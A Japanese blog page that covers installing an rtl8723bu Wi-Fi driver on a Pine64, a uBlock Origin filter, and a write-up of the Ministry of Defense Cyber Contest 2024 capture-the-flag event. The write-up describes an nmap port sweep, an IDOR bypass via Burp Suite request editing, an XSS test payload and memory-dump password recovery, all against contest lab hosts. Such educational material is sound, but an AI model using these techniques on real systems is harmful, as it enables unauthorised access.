  LD [M]  /root/rtl8723bu/8723bu.ko
make[1]: Leaving directory '/usr/src/linux-headers-6.6.16-current-sunxi64'

これでビルドが完了。

アダプタをインストールする

満を持してmake installmodprobeしてみる。

root@pine64:~/rtl8723bu# make install
make INSTALL_MOD_DIR=kernel/drivers/net/wireless/ -C /lib/modules/6.6.16-current-sunxi64/build M=/root/rtl8723bu modules_install
make[1]: Entering directory '/usr/src/linux-headers-6.6.16-current-sunxi64'
  INSTALL /lib/modules/6.6.16-current-sunxi64/kernel/drivers/net/wireless//8723bu.ko
  DEPMOD  /lib/modules/6.6.16-current-sunxi64
Warning: modules_install: missing 'System.map' file. Skipping depmod.
make[1]: Leaving directory '/usr/src/linux-headers-6.6.16-current-sunxi64'
/sbin/depmod -a 6.6.16-current-sunxi64
install rtl8723b_fw.bin -D /lib/firmware/rtl_bt/rtl8723b_fw.bin

root@pine64:~/rtl8723bu# sudo modprobe -v 8723bu
insmod /lib/modules/6.6.16-current-sunxi64/kernel/drivers/net/wireless/8723bu.ko

いけたっぽい。ip aでインターフェースが増えてるか確認。

root@pine64:~/rtl8723bu# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:ba:2b:8e:34:da brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.2/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0
       valid_lft 85203sec preferred_lft 85203sec
    inet6 fe80::4c76:5abe:558b:fa24/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: wlx0013eff3a5e4: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
    link/ether 00:13:ef:f3:a5:e4 brd ff:ff:ff:ff:ff:ff
4: br-804b237d96a0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:2f:7f:ef:a1 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-804b237d96a0
       valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:e2:e6:5b:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

wlx0013eff3a5e4が増えていた。これがWi-Fiのインターフェースのようだ。

(追記)
デフォルトのアダプタと今追加したアダプタが競合するらしいのでvim /etc/modprobe.d/blacklist.confで末尾にblacklist rtl8xxxuという行を追加しておいた。追加しなくても動くかもしれないが。

Wi-Fiに接続する

まず必要な設定ファイルを作成し、それを適用するところから行う。 ※ /etc/netplan直下にはすでにarmbian-default.yamlという設定ファイルがあるが、何かあったら嫌なので一応触らないでおく。

root@pine64:~# cd /etc/netplan
root@pine64:/etc/netplan# vim 00-installer-config-wifi.yaml

Vimが開いたら以下の内容を書く。

network:
  version: 2
  wifis:
    wlx0013eff3a5e4: # ここは使用するインターフェースを入力
      dhcp4: true
      optional: true
      access-points:
        input-your-SSID-here: # ここはWi-FiのSSIDを入力
          password: "ここにパスワードを入力"

そしてnetplan applyして設定を適用する。

root@pine64:/etc/netplan# netplan apply

何も出なければ成功。
※ 「パーミッションがゆるすぎる」とWarningが出ることがあるが、動作に問題はない。もちろん従ったほうがいいが…

Wi-Fiに接続できているか確認し、SSH接続を試す

その後Wi-Fiに接続できているかwifi-statusで確認する。

root@pine64:/etc/netplan# apt install byobu
root@pine64:/etc/netplan# wifi-status

Every 1.0s: iw  info; ip addr show ; ip route; echo; (journalctl -b --no-pager -q | grep -i  | tail -n 10 | sort -r); e...  pine64: Sun Mar 17 01:24:21 2024

sh: 1: iw: not found
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:ba:2b:8e:34:da brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.2/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0
       valid_lft 86185sec preferred_lft 86185sec
    inet6 fe80::4c76:5abe:558b:fa24/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: wlx0013eff3a5e4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:13:ef:f3:a5:e4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.10/24 brd 192.168.0.255 scope global dynamic noprefixroute wlx0013eff3a5e4
       valid_lft 86195sec preferred_lft 86195sec
    inet6 fe80::213:efff:fef3:a5e4/64 scope link
       valid_lft forever preferred_lft forever
(後略)

先ほど設定したインターフェースにIPが振られ、valid_lftの値が1秒毎に変化していれば成功しているはず。

試しにそのIP(今回は192.168.0.10)でSSHログインを試してみる。
※ちなみに192.168.0.0/24の範囲で22番ポートが空いているIPを調べるには、nmap -p 22 --open 192.168.0.0/24が使える

┌──(kali㉿hp-desktop-8500)-[~]
└─$ ssh root@192.168.0.10
The authenticity of host '192.168.0.10 (192.168.0.10)' can't be established.
(中略)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.10' (ED25519) to the list of known hosts.
root@192.168.0.10's password:
 ____  _             __   _  _
|  _ \(_)_ __   ___ / /_ | || |
| |_) | | '_ \ / _ \ '_ \| || |_
|  __/| | | | |  __/ (_) |__   _|
|_|   |_|_| |_|\___|\___/   |_|

Welcome to Armbian 24.2.1 Jammy with Linux 6.6.16-current-sunxi64

System load:   9%               Up time:       23 min
Memory usage:  19% of 919M      IP:            172.17.0.1 192.168.0.2 192.168.0.10
CPU temp:      31°C             Usage of /:    6% of 57G

[ General system configuration (beta): armbian-config ]

Last login: Sun Mar 17 01:04:04 2024 from 192.168.0.9
root@pine64:~#

できた!

参考リンク

uBlockOriginを使ってクリック済のリンクの色を変更する

以前こんな記事を書いた。

everykalax.hateblo.jp

これをuBlockOriginのフィルター機能で実現するには、uBlockOriginの「ダッシュボード」→「マイフィルター」に以下のフィルターを登録すればよい。

www.google.com##a:visited:style(color: green !important)

ドメインの部分(www.google.com)を変えれば別のサイトでも動作する。

参考

防衛省サイバーコンテスト 2024 writeup

32問中16問解けた。合計得点は188点で84位。あと数時間あれば…

進捗

あまり参考にならないかもしれないがwriteupを置いておく。
※解きながらwriteupを書いていたので、結局解けなかった問題についても記述してある。

Crypto

Information of Certificate (10)

Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。

証明書を開き、発行者欄のCNを見ればよい。

flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}

Forensics

NTFS Data Hide (10)

NTFSDataHide フォルダに保存されている Sample.pptx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。

この手の問題ははじめてだったので、よく使用されるツールから調べていく。 どうやら「FTK Imager」を使えばいいらしい。 起動したらウィンドウ左上の緑のボタンAdd Evidence Itemを押してImage Fileを選択、NTFS.vhdを指定してFinishを押す。これで左側のEvidence Treeに仮想ディスクのファイル構造が表示されるようになった。

…と思っていたがFTK Imagerでは解けなかった(ヒントを見てADSが鍵になっているとわかったものの、このツールではADSを確認できなかった)。代わりに「AutoPsy」というフォレンジックツールを導入したところ、NTFSDataHide/Sample.pptx:scriptというADSファイルが見つかった。中身を次に示す。

[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ=='))

このZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ==という部分をbase64でデコードすればflagが得られる。

flag{data_can_be_hidden_in_ads}

NTFS File Delete (10)

NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。 問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。

FTK Imagerを利用し、NTFSFileDelete/flag.txtを確認すればよい。

flag{resident_in_mft}

HiddEN Variable (20)

このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。

時間がなかったので即ヒントを開ける。Volatilityというツールで環境変数を確認すればよいとわかったのでpython3 vol.py -f ../memdump/memdump.raw windows.envarsを実行、大量のログの中にFLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PSとあったのでこれをbase58でデコード。

flag{volatile_environment_variable}

NTFS File Rename (20)

NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。 問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。

FTK Imagerを利用。
(追記:AutoPsyだと瞬殺できると思う)

[root]/$LogFileにファイルの変更履歴が記されている(参考リンク)。 そのため$LogFileをエクスポートし、「LogFileParser」で詳しく調べる。

LogFileParserを実行すると複数のファイルが出力されるが、そのうちLogFileParser_vXXX\LogFile_XXX\LogFile_FileNames.csvにファイル名の変遷が記されている。 このファイルをExcelで開く。MftRefがMFTのレコード番号、つまりMFT(マスターファイルテーブル)におけるファイルの通し番号を示す。大雑把に言えば、この問題においては、MftRefが同じであれば同じファイルであるといってよい。 Renamed.docxと同じMftRefを持つファイルはjournaling_system_is_powerful.docxであるから、このファイルがリネームされてRenamed.docxになったと考えられる。

flag{journaling_system_is_powerful}

My Secret (30、解けなかった)

問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。

即ヒント開ける。7zip関連のプロセスを見ればよいとのことなので

$ python3 vol.py -f ../memdump/memdump.raw windows.pstree.PsTree | grep 7z 
**** 5516  100.03468    7z.exean0xe206bb303080  4       -       1       False   2023-12-26 00:51:23.000000      N/A     \Device\HarddiskVolume3\Program Files\7-Zip\7z.exe      7z  x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\        C:\Program Files\7-Zip\7z.exe

このSecrets.7zをダンプする。

$ python3 vol.py -f ../memdump/memdump.raw windows.dumpfiles --pid="5516"
Volatility 3 Framework 2.6.1
Progress:  100.00       PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject 0xe206bbc4a2f0        Secrets.7z      Error dumping file
SharedCacheMap  0xe206bbc4a2f0  Secrets.7z      file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
ImageSectionObject      0xe206bbc491c0  7z.dll  file.0xe206bbc491c0.0xe206bb46d770.ImageSectionObject.7z.dll.img
ImageSectionObject      0xe206bba6c490  7z.exe  file.0xe206bba6c490.0xe206b8b49730.ImageSectionObject.7z.exe.img
ImageSectionObject      0xe206b6121570  KernelBase.dll  file.0xe206b6121570.0xe206b610dc10.ImageSectionObject.KernelBase.dll.img
ImageSectionObject      0xe206b61210c0  win32u.dll      file.0xe206b61210c0.0xe206b62e17c0.ImageSectionObject.win32u.dll.img
ImageSectionObject      0xe206b9139e80  cryptbase.dll   file.0xe206b9139e80.0xe206b912bcc0.ImageSectionObject.cryptbase.dll.img
ImageSectionObject      0xe206b6122380  msvcp_win.dll   file.0xe206b6122380.0xe206b610e460.ImageSectionObject.msvcp_win.dll.img
ImageSectionObject      0xe206b6122ce0  gdi32full.dll   file.0xe206b6122ce0.0xe206b610e9a0.ImageSectionObject.gdi32full.dll.img
ImageSectionObject      0xe206b611bed0  oleaut32.dll    file.0xe206b611bed0.0xe206b62d5a50.ImageSectionObject.oleaut32.dll.img
ImageSectionObject      0xe206b61213e0  combase.dll     file.0xe206b61213e0.0xe206b62d6a20.ImageSectionObject.combase.dll.img
ImageSectionObject      0xe206b6122e70  ucrtbase.dll    file.0xe206b6122e70.0xe206b62da2b0.ImageSectionObject.ucrtbase.dll.img
ImageSectionObject      0xe206b61229c0  sechost.dll     file.0xe206b61229c0.0xe206b62d6cf0.ImageSectionObject.sechost.dll.img
ImageSectionObject      0xe206b611b3e0  advapi32.dll    file.0xe206b611b3e0.0xe206b62e1010.ImageSectionObject.advapi32.dll.img
ImageSectionObject      0xe206b6121250  imm32.dll       file.0xe206b6121250.0xe206b62d7cc0.ImageSectionObject.imm32.dll.img
ImageSectionObject      0xe206b611c380  rpcrt4.dll      file.0xe206b611c380.0xe206b62e3cd0.ImageSectionObject.rpcrt4.dll.img
ImageSectionObject      0xe206b611c830  user32.dll      file.0xe206b611c830.0xe206b62d5d00.ImageSectionObject.user32.dll.img
ImageSectionObject      0xe206b611c9c0  gdi32.dll       file.0xe206b611c9c0.0xe206b62e3a20.ImageSectionObject.gdi32.dll.img
ImageSectionObject      0xe206b611c510  msvcrt.dll      file.0xe206b611c510.0xe206b62e06c0.ImageSectionObject.msvcrt.dll.img
ImageSectionObject      0xe206b611ce70  kernel32.dll    file.0xe206b611ce70.0xe206b62e3520.ImageSectionObject.kernel32.dll.img
ImageSectionObject      0xe206b0ef9940  ntdll.dll       file.0xe206b0ef9940.0xe206b0bc5010.ImageSectionObject.ntdll.dll.img

file.0xe206bbc4a2f0.0xe206bb499920.DataSectionObject.Secrets.7z.datを7zで解凍したがエラーが出る。パスワードが違う?

$ 7z  x -pY0uCanF1ndTh1sPa$$w0rd file.0xe206bbc4a2f0.0xe206bb499920.DataSectionObject.Secrets.7z.dat

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 4096 bytes (4 KiB)

Extracting archive: file.0xe206bbc4a2f0.0xe206bb499920.DataSectionObject.Secrets.7z.dat

WARNINGS:
There are data after the end of archive

--
Path = file.0xe206bbc4a2f0.0xe206bb499920.DataSectionObject.Secrets.7z.dat
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 418
Tail Size = 3678
Headers Size = 146
Method = LZMA2:12 7zAES
Solid = -
Blocks = 1

ERROR: Data Error in encrypted file. Wrong password? : Secrets.rtf

Sub items Errors: 1

Archives with Errors: 1

Warnings: 1

Sub items Errors: 1

別の方法でダンプを試みたがダメだった。

$ python3 vol.py -f ../memdump/memdump.raw windows.dumpfiles --physaddr 0xe206bbc4a2f0   
Volatility 3 Framework 2.6.1
Progress:  100.00       PDB scanning finished
Cache   FileObject      FileName        Result
(※注:何も出力されなかった)

Miscellaneous

Une Maison (10)

画像 maison.jpg の中にフラグが隠されています。探してみてください。

stringsでもfileでも異常なし。steghideも違った。 わからずヒント1を開くと、

メタデータやバイナリの解析は必要ありません。

とのこと。とりあえず画像検索してみると似た画像が出てきたが、一部異なる部分がある。よく見るとバーコードになっていたため、そこを切り出してGoogle Lensに投げるとflagが得られた。

切り取ったバーコード

flag{$50M!}

String Obfuscation (10)

難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。

ソースコードを見ると

FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

との表記があるので、これをそのままprintしてやればよい。

$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
>>> print(FLAG)
3FxYFm4uTYDFFzmb3

flag{3FxYFm4uTYDFFzmb3}

Where Is the Legit Flag? (20)

fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。

fakeflag.pyの難読化を解除すると、次のようになる。

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)) 
# ↳ exec("import zlib, base64")

TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="

TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))
# ↳ exec(b'exec(zlib.decompress(base64.b64decode(TANAKA)))')

ここでexec(b'exec(zlib.decompress(base64.b64decode(TANAKA)))')を実行すると、以下のコードが実行される。

# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
# Above face explain for physical decision.
# Via snake name round terrific brass.
# Following suggestion sound regarding female recess.
# Toward vessel disagree beneath huge porter.
SUZUKI = [74-0+0,
        87*1,int(48**1),
# Off purpose land as rural statement.
        int(8_3),int(32.00000),int('34'),
        76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],
# During knot rely save wretched scarecrow.
        (2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),
        30+5,int(48/2*2),9*9]
#  Plus toe settle with vast insect.
#  Save hands shelter with ratty produce.
#  Outside legs nest versus tranquil relation.
#  As walk pat round rightful advice.
# Beside payment train by large key.
# Past behavior post toward unable home.
#  Among place complain considering unknown current.
( #  Around spark scorch above spotty grape.
    ''#  Underneath jewel chop past dependent rifle.
    .    join                          ([
        #  Since cobweb tie off hurt string.
SATO[i]         #  Since cobweb tie off hurt string.
for i in SUZUKI
        # if i > 4728:
        #     break
        # t = 234667 * 83785
        # print(t/3457783)
#  Through queen dam of slippery comparison.
])
#  By wall stroke without secret wash.
)
#  Opposite yoke need beside superb lumber.
print("flog{8vje9wunbp984}")

これを整形したコードを次に示す。

SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
SUZUKI = [74-0+0,87*1,int(48**1),int(8_3),int(32.00000),int('34'),76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],(2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),30+5,int(48/2*2),9*9]
(''.join([SATO[i] for i in SUZUKI]))
print("flog{8vje9wunbp984}")

注目すべきなのは3行目の(''.join([SATO[i] for i in SUZUKI]))である。この処理の結果はどこからも参照されていないので、試しにprintしてみる。するとflagが得られた。

flag{PHmN2ILK6vsa}

Network

FileExtract (10)

添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。

wiresharkで添付ファイルを開く。ファイル -> オブジェクトをエクスポート → FTP-DATAをクリックすると、s3cr3t.zipなるファイルをエクスポートできる。しかしパスワードがかかっており解凍できない。 パケットを眺めると230 Login successfulという記述が見つかったため、この前後のパケットを見ると、Request: PASS br2fWWJjjab3という記述を発見。br2fWWJjjab3をパスワードとしたところ、s3cr3t.zipを解凍することができ、中身のファイルfl@gを確認できた。

flag{6qhFJSHAP4A4}

Programming

Logistic Map (10)

下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。 x_{n+1} = 3.99 x_n (1 - x_n)

Pythonで解いた。

x: float = 0.3
for i in range(1, 10000): # x_1 ... x_9999
    x = 3.99 * x * (1 - x)

print(x)
# -> 0.8112735...

flag{0.8112735}

Trivia

The Original Name of AES (10)

Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?

wikipediaを見る。

Advanced Encryption Standard (AES) は、アメリカが2001年に標準暗号として定めた共通鍵暗号アルゴリズムである。アメリカ国立標準技術研究所(NIST)が公募し、Rijndael(ラインダール)がAESとして採用された。 (https://ja.wikipedia.org/wiki/Advanced_Encryption_Standard より引用)

flag{Rijndael}

CVE Record of Lowest Number (10)

最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?

最も番号が若いCVEレコードは、GitHubに上がっているCVEリストより、CVE-1999-0001であるとわかる。 この脆弱性の詳細を調べると、

BSD 由来の TCP/IP 実装の ip_input.c により、リモート攻撃者は細工されたパケットを介してサービス拒否 (クラッシュまたはハング) を引き起こすことができます。 (https://www.cvedetails.com/cve/CVE-1999-0001/ より引用、google翻訳使用)

とあるので、脆弱性が指摘された行を含むソースファイル名ip_input.cである。

flag{ip_input.c}

MFA Factors (10)

多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。

IPAによると多要素認証に使われる本人確認のための3種類の情報は記憶情報、所持情報、生体情報である。

flag{記憶・所持・生体}

Web

Browsers Have Local Storage (10)

http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。

問題タイトルにあるように、ローカルストレージにflagが書いてある。ブラウザのF12キーを押して開発者ツールを起動し、アプリケーション -> ストレージ -> ローカルストレージで確認できる。

FLAG{Th1s_1s_The_fIrst_flag}

Are You Introspective? (10、解けなかった)

http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。

そもそもエンドポイントとは何かというと、APIの呼び出しが行われる場所APIにアクセスするためのURIのことらしい。

エンドポイントを探す必要があるが、goctopus(docker run --rm -it escapetech/goctopus:latest -a 10.10.10.31)を使用しても見つからなかった。

Insecure (20)

あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。

testUserとしてログイン後、ページ下部の「プロフィールを見る」(http://10.10.10.33/show_profile.php?id=1)をクリックすると、プロフィールページ(http://10.10.10.33/profile_success.php)に遷移した。 次に、管理者のidが0であるというヒントを利用し、管理者のプロフィール(http://10.10.10.33/show_profile.php?id=0)にアクセスしてみたが、エラーページ(http://10.10.10.33/profile_error.php)に遷移してしまった。

そこで、BurpSuiteを用いて強引に管理者プロフィールにアクセスする。具体的には、

  1. BurpSuiteを起動、InterceptをONにしてから「プロフィールを見る」(http://10.10.10.33/show_profile.php?id=1)をクリック
  2. BurpSuiteでid=0id=1に書き換えてForward
  3. http://10.10.10.33/profile_error.phpにリダイレクトされるので、同じくBurpSuiteで遷移先をprofile_error.phpからprofile_success.phpに書き換えてForward

以上のプロセスを踏むことで管理者プロフィールにアクセスでき、フラグを得られる。

FLAG{1qaz7ujmbgt5}

Variation (20、解けなかった)

http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。 <script>alert(1)</script>

与えられたWebページでNameを入力してSubmitボタンを押すと、入力したNameが表示されるという問題。 試しに<script>alert(1)</script>を入力したところ、Hey, scriptalert(1)/scriptと表示された。 <>が削除されているため、パーセントエンコーディングして%3Cscript%3Ealert(1)%3C/script%3Eを入力してみたが、そのままHey, %3Cscript%3Ealert(1)%3C/script%3Eと出力されてしまう。